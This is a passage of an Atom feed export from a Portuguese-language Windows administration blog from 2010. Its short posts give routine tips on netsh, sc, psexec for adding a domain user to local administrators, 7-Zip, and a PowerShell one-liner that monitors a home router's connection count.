href='http://www.blogger.com/feeds/30662693/posts/default/4366115674896718619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4366115674896718619'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/07/f5-ou-ctrlf5.html' title='F5 ou Ctrl+F5'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5168804010576084506</id><published>2010-07-08T10:52:00.001-03:00</published><updated>2010-07-08T10:53:25.212-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browsers'/><title type='text'>Browsers separados na maternidade…</title><content type='html'>&lt;p&gt;Acho que um dos dois times anda meio sem criatividade… ou é uma tendência que eu não peguei ainda.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_l3eDYIF1qmk/TDXYM8lsA9I/AAAAAAAAAKc/1Yfs5F4GU1Y/s1600-h/image%5B9%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" class="wlDisabledImage" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_l3eDYIF1qmk/TDXYOQ--lKI/AAAAAAAAAKk/0_9Ap9zPTgs/image_thumb%5B8%5D.png?imgmax=800" width="644" height="388" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5168804010576084506?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5168804010576084506/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5168804010576084506&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5168804010576084506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5168804010576084506'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/07/browsers-separados-na-maternidade.html' title='Browsers separados na maternidade…'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_l3eDYIF1qmk/TDXYOQ--lKI/AAAAAAAAAKk/0_9Ap9zPTgs/s72-c/image_thumb%5B8%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6626430637244896149</id><published>2010-07-06T14:21:00.001-03:00</published><updated>2010-07-06T14:21:31.927-03:00</updated><title type='text'>Visual Studio 2010 trava ao fechar solução</title><content type='html'>&lt;p&gt;Não fui muito longe na investigação, mas passei por esse problema e resolvi removendo o arquivo &lt;strong&gt;.suo&lt;/strong&gt; do projeto. Se o problema voltar eu continuo esse post com mais detalhes do que está acontecendo.&lt;/p&gt;  &lt;p&gt;Fica aqui a dica, caso alguém passe pelo mesmo problema.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6626430637244896149?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6626430637244896149/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6626430637244896149&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6626430637244896149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6626430637244896149'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/07/visual-studio-2010-trava-ao-fechar.html' title='Visual Studio 2010 trava ao fechar solução'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3442390319253128904</id><published>2010-06-30T15:48:00.001-03:00</published><updated>2010-06-30T17:08:31.286-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Utilitários'/><title type='text'>Movendo janelas no Windows igual ao Linux: ALT + Drag</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;uma das coisas que eu mais gosto no Linux, e que não há no Windows, é poder mover janelas segurando o ALT e arrastando a janela. &lt;/p&gt;  &lt;p&gt;Hoje encontrei um programa que faz isso parar mim. Chama-se AltDrag, é um projeto open-source hospedado no Google Code e vai pro meu toolbox particular. =)&lt;/p&gt;  &lt;p&gt;&lt;a href="http://code.google.com/p/altdrag"&gt;http://code.google.com/p/altdrag&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Eu prefiro usar todos os comandos pelo teclado, mas esse programinha me ajuda a não perder tempo quando sou obrigado a usar o mouse. Não precisa ser instalado, e cabe em qualquer pendrive.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3442390319253128904?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3442390319253128904/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3442390319253128904&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3442390319253128904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3442390319253128904'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/alt-drag-janelas-windows.html' title='Movendo janelas no Windows igual ao Linux: ALT + Drag'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-9028652659043262506</id><published>2010-06-15T19:01:00.001-03:00</published><updated>2010-06-15T19:01:14.274-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='uac'/><title type='text'>VBScript e UAC</title><content type='html'>&lt;p&gt;Aqui vai um link bacana de como conseguir elevar a execução de um script VBS via Shell.Application. Isso pode fazer seu script voltar a funcionar no Vista e 7.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.winhelponline.com/articles/185/1/VBScripts-and-UAC-elevation.html"&gt;http://www.winhelponline.com/articles/185/1/VBScripts-and-UAC-elevation.html&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Normalmente eles falham ou por causa do redirecionamento de pastas automático ou por falta de permissões em pastas do sistema. Quem já passou pelo problema de rodar scripts de logon no Vista/Windows 7 vai gostar desse link, mas esta não é a saída. Se seu script de logon falha por falta de permissões, muito provavelmente você está tentando fazer alguma coisa errada lá (e que não deveria estar num script de logon)&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-9028652659043262506?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/9028652659043262506/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=9028652659043262506&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9028652659043262506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9028652659043262506'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/vbscript-e-uac.html' title='VBScript e UAC'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-9078582629630808296</id><published>2010-06-11T01:13:00.001-03:00</published><updated>2010-06-11T01:13:25.156-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><title type='text'>Renomeando conexões de rede</title><content type='html'>&lt;p&gt;Atualização rápida de madrugada para resolver um problema pontual de um amigo: como fazer para renomear a interface de rede?&lt;/p&gt;  &lt;p&gt;Listar todas:&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;netsh interface show interface&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;e para alterar o nome...&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;netsh interface set interface &amp;quot;Conexão Local&amp;quot; newname=lan&lt;/code&gt;&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-9078582629630808296?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/9078582629630808296/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=9078582629630808296&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9078582629630808296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9078582629630808296'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/renomeando-conexoes-de-rede.html' title='Renomeando conexões de rede'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7987611350134507864</id><published>2010-06-10T22:55:00.001-03:00</published><updated>2010-06-10T22:55:56.459-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perguntas e Respostas'/><category scheme='http://www.blogger.com/atom/ns#' term='sysinternals'/><title type='text'>Perguntas #2 – Adicionando um usuário do domínio no grupo Administrators local</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;varrendo minha caixa de e-mails encontrei uma dúvida interessante pra resolver. Interessante, simples, útil, e que eu já precisei um dia. Logo, vai pro blog.&lt;/p&gt;  &lt;h2&gt;Pergunta&lt;/h2&gt;  &lt;p&gt;Vejam o e-mail do Sandro Schon, em fevereiro (antes tarde do que nunca!):&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá, estava procurando algo sobre scripts na internet e vi o blog (vinicius Canto) e os artigos da tech net e ja me ajudaram bastante, mas nao achei aidna o caminho das pedras pra 3 scripts que preciso onde trabalho....       &lt;br /&gt;o 1º seria um script onde eu pudesse inserir um usuário do dominio como Admin em uma máquina remotamente        &lt;br /&gt;o 2º seria um script que alterasse algumas configurações da estação, como papel de parede, posição de icones e quais icones na area de trablho, impressoras compartilhadas, etc        &lt;br /&gt;e o 3º seria um que me permitisse alterar confi&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;h2&gt;Resposta&lt;/h2&gt;  &lt;p&gt;Por partes:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;psexec \\maquinaremota net localgroup administrators /add DOMAIN\username&lt;/li&gt;    &lt;li&gt;Faça isso por meio de perfis mandatórios. Mais informações &lt;a href="http://lmgtfy.com/?q=mandatory+profile"&gt;aqui&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Não entendi. E-mail escrito pela metade não dá… =).&amp;#160; &lt;/li&gt; &lt;/ol&gt;  &lt;h2&gt;Análise&lt;/h2&gt;  &lt;p&gt;Para coisas simples, o psexec da Sysinternals quebra o galho muito bem. Ele tem alguns requisitos (local admin na máquina remota, serviço do Remote Registry habilitado, entre outros) mas é extremamente viável de ser usado. Outra alternativa que pode ser usada é a criação de processos remotamente por meio do WMI (wmic process call create ou script personalizado). Essa alternativa tem menos requisitos e funciona bem. &lt;a href="http://viniciuscanto.blogspot.com/2007/08/executar-programas-em-outros.html"&gt;Já comentei sobre ela em outro post sobre como executar processos remotamente&lt;/a&gt;, em 2007 (velho esse blog heim?).&lt;/p&gt;  &lt;p&gt;Enfim, mesmo não finalizado e não seguindo as &lt;a href="http://viniciuscanto.blogspot.com/2010/05/informacoes-uteis.html#sobre"&gt;regras do blog&lt;/a&gt;, valeu pelo e-mail. Eu precisava documentar isso de alguma forma =). Já usei o velho truque do psexec para adicionar usuários do domínio no grupo admin local várias vezes e sempre me perguntam isso, mas não tinha colocado aqui ainda.&lt;/p&gt;  &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7987611350134507864?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7987611350134507864/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7987611350134507864&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7987611350134507864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7987611350134507864'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/adicionando-usuario-administrators.html' title='Perguntas #2 – Adicionando um usuário do domínio no grupo Administrators local'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3172997623820966132</id><published>2010-06-07T23:01:00.001-03:00</published><updated>2010-06-07T23:05:48.531-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server'/><title type='text'>Iniciando o SQL Server Express via linha de comando</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;aqui vai uma dica para os desenvolvedores que seguem meu blog de alguma forma.&lt;/p&gt;  &lt;p&gt;Se você é desenvolvedor, no Windows, provavelmente já se deparou com o problema de ter que instalar uma edição do SQL Server em sua própria máquina. Eu não gosto muito dessa idéia por alguns motivos:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Embora usemos strings de conexão para configuração de acesso a dados, o banco na mesma máquina pode mascarar alguns problemas se você não souber direito o que anda fazendo. &lt;/li&gt;    &lt;li&gt;O SQL Server instalado na máquina de desenvolvimento pode deixar ela mais lenta se você esquecer ele ligado com um banco grande e não tiver usando o banco. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Por outro lado…&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Usar o banco em uma máquina virtual pode deixar as coisas mais lentas ainda, especialmente se você não tiver muita RAM. &lt;/li&gt;    &lt;li&gt;Configurar uma VM só com o banco para subir um projeto simples para testar alguma coisa parece trabalho demais também. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;A saída que eu encontrei na minha máquina de desenvolvimento foi instalar ele, mas deixar o serviço com startup manual e subir o serviço somente quando necessário. E para fazer isso, aqui vai meu one-liner:&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;sc query mssql$sqlexpress&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;e&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sc start mssql$sqlexpress&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Troque o start por um stop e o efeito será o contrário. Vale lembrar que o comando sc serve para manipular outros serviços também, e responde bem mais rápido que o SQL Server Configuration Manager e o utilitário services.msc. Basta executar estes comandos dentro de um console com direitos administrativos e vc terá o SQL Server Express rodando em segundos… tão rápido quanto subir um processo do PostgreSQL ou do SQLite.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3172997623820966132?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3172997623820966132/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3172997623820966132&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3172997623820966132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3172997623820966132'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/sql-express-command-line.html' title='Iniciando o SQL Server Express via linha de comando'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2020662848063565465</id><published>2010-06-03T18:06:00.001-03:00</published><updated>2010-06-03T18:08:37.003-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualização'/><title type='text'>Adeus WinRAR. Welcome 7-ZIP</title><content type='html'>&lt;p&gt;Hoje consegui um argumento interessante para não usar o WinRAR mais. Um amigo meu me apresentou o 7Zip, um utilitário open source para manipulação de arquivos compactados no Windows.&lt;/p&gt;  &lt;p&gt;Quando instalei, nenhuma novidade. A interface é bem simples, a integração com o shell falha no Windows 7 em usuário não-admin, mas por mim tudo bem. Tenho que me acostumar com menos opções no botão direito: de maneira geral, &lt;em&gt;menos integração no shell, mais estabilidade&lt;/em&gt;. &lt;/p&gt;  &lt;p&gt;Hoje, me convenci a nunca mais instalar WinRAR: ele abre arquivos VHD diretamente, como se fosse um arquivo compactado qualquer. O Windows também faz isso, mas exige que o VHD seja importado como um disco dentro do gerenciador de discos (diskmgmt.msc) e, portanto, que o usuário seja administrador da máquina. O 7Zip não precisa nem ser instalado no computador. Além de VHD, abre ainda ISO e MSI. Bacana e simples.&lt;/p&gt;  &lt;p&gt;Para quem quiser testar, aqui vai o link: &lt;a href="http://www.7-zip.org"&gt;www.7-zip.org&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Recomendo que desativem a integração com o shell. Mais bibliotecas carregadas com o shell, mais acoplamento, e se alguma delas tiver sido desenvolvida com pouco carinho, menos estabilidade. Não é o caso do 7Zip, mas fica a dica.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2020662848063565465?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2020662848063565465/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2020662848063565465&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2020662848063565465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2020662848063565465'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/7-zip-abre-vhd.html' title='Adeus WinRAR. Welcome 7-ZIP'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3832233906451301305</id><published>2010-06-01T22:57:00.001-03:00</published><updated>2010-06-01T23:03:15.136-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='one-liner'/><title type='text'>Como monitorar o número de conexões TCP do seu roteador Linksys</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;acabo de produzir um código incrivelmente simples para monitorar meu roteador Linksys.&lt;/p&gt;  &lt;p&gt;O problema era o seguinte: meu roteador trava vez ou outra. Ele continua respondendo pacotes Ping ICMP, mas barra toda e qualquer conexão HTTP de saída. Conexões abertas não são fechadas, mas nenhuma nova é aberta. Nenhum pacote UDP passa.&lt;/p&gt;  &lt;p&gt;Encontrei uma pista na net: o limite de conexões TCP dele é 512. Eu já havia aumentado para 1024, mas como naquele momento havia uns 5 ligados em casa, é bem possível que esse limite tenha sido atingido. E o que acontece quando ele atinge o limite? Segundo um post no forum do DD-WRT, ele congela, exatamente como eu descrevi acima.&lt;/p&gt;  &lt;p&gt;Agora a diversão do Vinicius: encontrar qual estação (e o qual programa) está abrindo mais de 1k conexões TCP. Apelei rapidamente pro PowerShell, com uma linha. Meu roteador tem uma página de status que informa quantas conexões estão abertas no momento e quais são os hosts das duas pontas. Basta então programar ele para ir lá, autenticar, ler o valor e plotar na tela. Veja como ficou:&lt;/p&gt;  &lt;pre&gt;&lt;code&gt;PS C:\Users\xis&amp;gt; $wc = new-object system.net.webclient; $wc.credentials = get-credential
PS C:\Users\v-vixavi&amp;gt; for($true) { $wc.DownloadString('http://192.168.1.1/Status_Conntrack.asp')&lt;br /&gt; –match '&amp;lt;/div&amp;gt;\n(\d{2,3})\n&amp;lt;/div&amp;gt;' | out-null; $matches[1]; sleep 10}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Feio. Mas para um teste simples, funciona. Espero que alguém um dia precise disso. =)&lt;/p&gt;

&lt;p&gt;Lembre-se. Este código é certificado pelo &lt;a href="http://viniciuscanto.blogspot.com/2010/05/informacoes-uteis.html"&gt;Works on My Machine Program&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3832233906451301305?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3832233906451301305/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3832233906451301305&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3832233906451301305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3832233906451301305'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2010/06/monitor-roteador-linksys.html' title='Como monitorar o número de conexões TCP do seu roteador Linksys'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3357179675114160801</id><published>2010-05-13T21:56:00.001-03:00</published><updated>2010-05-13T22:05:53.484-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Perguntas e Respostas'/><category scheme='http://www.blogger.com/atom/ns#' term='one-liner'/><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><title type='text'>Perguntas #1 – Ativando DHCP em uma conexão</title><content type='html'>&lt;p&gt;Vez ou outra me deparo com esse tipo de pergunta:&lt;/p&gt;  &lt;h2&gt;Pergunta&lt;/h2&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Olá, Vinícius&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Gostaria de saber como fazer para obter ip automático das conexões de redes do notebook&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Estou usando este script.vbs mas ele só altera a conexão da rede local (cabo rj45) mas a conexão da wireless e a outra complemento da wireless não muda e obtem apenas o ip: 0.0.0.0 e a mascara 255.0.0.0, o dns não fica automatico.&lt;/em&gt;&lt;/p&gt;    &lt;pre&gt;&lt;code&gt;strComputer = &amp;quot;.&amp;quot; 
Set objWMIService = GetObject(&amp;quot;winmgmts:&amp;quot; _ 
    &amp;amp; &amp;quot;{impersonationLevel=impersonate}!\\&amp;quot; &amp;amp; strComputer &amp;amp; &amp;quot;\root\cimv2&amp;quot;)

Set colNetAdapters = objWMIService.ExecQuery _ 
    (&amp;quot;Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE&amp;quot;)

strDNS=array()

For Each objNetAdapter In colNetAdapters 
    errEnable = objNetAdapter.EnableDHCP() 
    objNetAdapter.SetDNSServerSearchOrder strDNS&lt;/code&gt;&lt;/pre&gt;

  &lt;p&gt;&lt;em&gt;Observação: uso duas conexões com ip’s diferentes em casa e no trabalho e quando vou pra faculdade precisa zerar tudo para ip automático para alcançar o wireless.&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;veja o código que uso para casa e trabalho, mundando, claro as cadeias de ips.&lt;/em&gt;&lt;/p&gt;

  &lt;pre&gt;&lt;code&gt;strComputer = &amp;quot;.&amp;quot; 
Set objWMIService = GetObject(&amp;quot;winmgmts:\\&amp;quot; &amp;amp; strComputer &amp;amp; &amp;quot;\root\cimv2&amp;quot;) 
Set colNetAdapters = objWMIService.ExecQuery _ 
(&amp;quot;Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE&amp;quot;) 
strIPAddress = Array(&amp;quot;10.4.0.149&amp;quot;) 
strSubnetMask = Array(&amp;quot;255.255.255.0&amp;quot;) 
strGateway = Array(&amp;quot;10.4.0.240&amp;quot;) 
strGatewayMetric = Array(1) 
strDNS = Array(&amp;quot;10.4.0.240&amp;quot;)

For Each objNetAdapter in colNetAdapters 
errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask) 
errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric) 
objNetAdapter.SetDNSServerSearchOrder strDNS 
If errEnable = 0 Then 
WScript.Echo &amp;quot;O endereco IP foi alterado com sucesso !&amp;quot; 
Else 
WScript.Echo &amp;quot;Ocorreu um erro! O endereco IP não foi alterado...&amp;quot; 
End If 
Next&lt;/code&gt;&lt;/pre&gt;

  &lt;p&gt;&lt;em&gt;Aguardando. Muito grato !&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;Resposta&lt;/h2&gt;

&lt;p&gt;Simples e direto:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;netsh int ip set addr &amp;quot;Local Area Connection&amp;quot; dhcp&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;ou ainda&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;netsh interface ip set address &amp;quot;Local Area Connection&amp;quot; dhcp  # muda para o DHCP&lt;/code&gt;&lt;code&gt;netsh int ip set addr lan static 192.168.1.50 255.255.255.0 192.168.1.1 1 # muda para ip estático&lt;/code&gt;&lt;code&gt;netsh /?&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Análise&lt;/h2&gt;

&lt;p&gt;Há normalmente mais de uma forma de resolver o problema. Pondere sempre todas as alternativas. No caso acima, a solução via CMD é muito, mas muito mais simples.&lt;/p&gt;

&lt;p&gt;Vou procurar responder as melhores dúvidas. Entendo por melhores dúvidas as que forem &lt;strong&gt;realmente interessantes, que me chamem a atenção&lt;/strong&gt;. Além do mais, a pergunta &lt;strong&gt;deve ser bem escrita &lt;/strong&gt;(odeio frases sem sentido) e, acima de tudo, &lt;strong&gt;que o autor tenha a boa vontade de procurar em um site de busca antes &lt;/strong&gt;de mandar para meu endereço. =)&lt;/p&gt;

&lt;p&gt;As perguntas e respostas estarão identificadas pela tag &lt;a href="http://viniciuscanto.blogspot.com/search/label/Perguntas%20e%20Respostas"&gt;Perguntas e Respostas&lt;/a&gt;.&lt;/p&gt;

